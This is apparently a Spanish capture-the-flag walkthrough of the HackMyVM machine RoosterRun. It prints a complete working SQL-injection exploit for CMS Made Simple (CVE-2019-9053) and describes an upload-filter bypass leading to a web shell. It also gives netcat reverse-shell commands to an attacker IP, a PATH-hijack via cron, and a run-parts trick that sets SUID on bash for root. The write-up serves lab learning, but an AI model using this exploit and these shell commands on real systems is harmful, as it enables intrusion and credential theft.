HackMyVM - RoosterRun

logo

  • CMS Made Simple - CVE-2019-9053
  • Upload File - Bypass Extension
  • Abuse Cron - StaleFinder Binary
  • Abuse Cron Script - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.13

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.13

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.57 (Debian)
|_http-favicon: Unknown favicon MD5: 551E34ACF2930BF083670FA203420993
|_http-generator: CMS Made Simple - Copyright (C) 2004-2023. All rights reserved.
|_http-title: Home - Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

httpcms

Fuerza bruta de directorios.

❯ gobuster dir -u 192.168.1.13 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/modules              (Status: 301) [Size: 314] [--> http://192.168.1.13/modules/]
/uploads              (Status: 301) [Size: 314] [--> http://192.168.1.13/uploads/]
/doc                  (Status: 301) [Size: 310] [--> http://192.168.1.13/doc/]
/admin                (Status: 301) [Size: 312] [--> http://192.168.1.13/admin/]
/assets               (Status: 301) [Size: 313] [--> http://192.168.1.13/assets/]
/lib                  (Status: 301) [Size: 310] [--> http://192.168.1.13/lib/]
/tmp                  (Status: 301) [Size: 310] [--> http://192.168.1.13/tmp/]
/server-status        (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

En /admin encuentro un panel de login.

admin

Descargo este exploit y con on la ayuda de ChatGPT migro el exploit de python2 a python3.

#!/usr/bin/env python3
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict_file = open(wordlist, encoding='latin-1')
    for line in dict_file.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5((str(salt) + line).encode()).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict_file.close()

def beautify_print_try(value):
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print(colored("[*] Now try to crack password"))
    crack_password()

beautify_print()

Lanzo el exploit y en unos segundos encuentro las credenciales del usuario admin.

python3 exploit.py -u http://192.168.1.13 --crack -w /usr/share/wordlists/rockyou.txt

passFound

Accedo al panel de administrador.

adminDashboard

Me voy a Content/File Manager y si intento subir un archivo php automáticamente cancela la subida de archivo.

fileManager

Abro burpsuite e intercepto la petición.

burp

En la pestaña positions lo configuro de la siguiente forma.

payloadPosition

En payloads settings añado las siguientes extensiones, mas abajo en Payload encoding desmarco la casilla URL-encode these characters y le doy a Start attack.

payloadSettings

Refresco el File Manager y veo que se han subido varios archivos.

uploadOk

Con cmd.phar puedo ejecutar comandos.

rce

Para obtener correctamente la shell hay que pasar el comando nc -c /bin/bash a URL-Encode.

❯ curl "http://192.168.1.13/uploads/images/cmd.phar?cmd=nc%20-c%20/bin/bash%20192.168.1.17%201234"

Obtengo la shell.

❯ nc -lvp 1234
listening on [any] 1234 ...
192.168.1.13: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.13] 56424
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@rooSter-Run:/var/www/html/uploads/images$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@rooSter-Run:/var/www/html/uploads/images$ 

Enumero usuarios con el fichero passwd.

passwd

En el home de matthieu encuentro el fichero StaleFinder.

#!/usr/bin/env bash

for file in ~/*; do
    if [[ -f $file ]]; then
        if [[ ! -s $file ]]; then
            echo "$file is empty."
        fi

        if [[ $(find "$file" -mtime +365 -print) ]]; then
            echo "$file hasn't been modified for over a year."
        fi
    fi
done

este script informa sobre los archivos en el directorio de inicio del usuario que están vacíos y aquellos que no han sido modificados en más de un año.

Con linpeas veo que el usuario www-data tiene todo el acceso a /usr/local/bin.

linpeas

Con pspy veo que cada 1 minuto se lanza backup.sh y el binario StaleFinder como usuario matthieu UID=1000, ahora sólo nos interesa la tarea cron que lanza StaleFinder.

cron

Con whereis veo que el binario bash se lanza desde /usr/bin.

www-data@rooSter-Run:/usr/local/bin$ whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz

Si observo el PATH del sistema se puede ver que /usr/local/bin está antes que /usr/bin.

www-data@rooSter-Run:/usr/local/bin$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Sabiendo esto puedo crear el archivo bash en /usr/local/bin con el siguiente contenido.

nc -c /bin/bash 192.168.1.17 4444

De esta forma la tarea cron usará este archivo en vez del bash original de /usr/bin. Con todo esto obtengo una shell de matthieu.

❯ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.13: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.13] 42230
id
uid=1000(matthieu) gid=1000(matthieu) groups=1000(matthieu),100(users)

En /opt/maintenance hay el script backup.sh este script es el que he visto anteriormente al usar pspy64.

#!/bin/bash

PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"


for file in "$PREPROD"/*; do
  if [[ -f $file && "${file##*.}" = "sh" ]]; then
    cp "$file" "$PROD"
  else
    rm -f ${file}
  fi
done

for file in "$PROD"/*; do
  if [[ -f $file && ! -O $file ]]; then
  rm ${file}
  fi
done

/usr/bin/run-parts /opt/maintenance/prod-tasks

El script organiza y limpia archivos en los directorios de preproducción y producción, copia los scripts de shell relevantes de preproducción a producción, elimina archivos en producción que no son propiedad del usuario actual y, finalmente, ejecuta las tareas de producción.

Creo el archivo privesc.sh en /opt/maintenance/pre-prod-tasks.

#!/bin/sh
PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"
FILE=priv.sh
echo '#!/bin/sh' > $PREPROD/priv.sh
echo 'chmod 4755 $(which bash)' >> $PREPROD/priv.sh
chmod +x $PREPROD/priv.sh

Lo lanzo y este creará el archivo priv.sh en el directorio /prod/tasks.

╭─matthieu@rooSter-Run /opt/maintenance 
╰─$ ls prod-tasks 
privesc.sh  priv.sh

Entro en el directorio prod-tasks y renombro el archivo priv.sh a priv ya que run-parts no ejecuta archivos .sh.

╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks 
╰─$ mv priv.sh priv
╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks 
╰─$ ls -l         
total 16
-rwxr-xr-x 1 root root   35 Dec  2 15:55 priv
-rw-r--r-- 1 root root  214 Dec  2 15:55 privesc.sh

Espero un minuto y observo que el binario bash ya tiene el bit de SUID.

╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks 
╰─$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /bin/bash

Obtengo el root.

╭─matthieu@rooSter-Run /opt/maintenance/prod-tasks 
╰─$ bash -p
bash-5.2# whoami
root

Y aquí termina la máquina RoosterRun.

Saludos!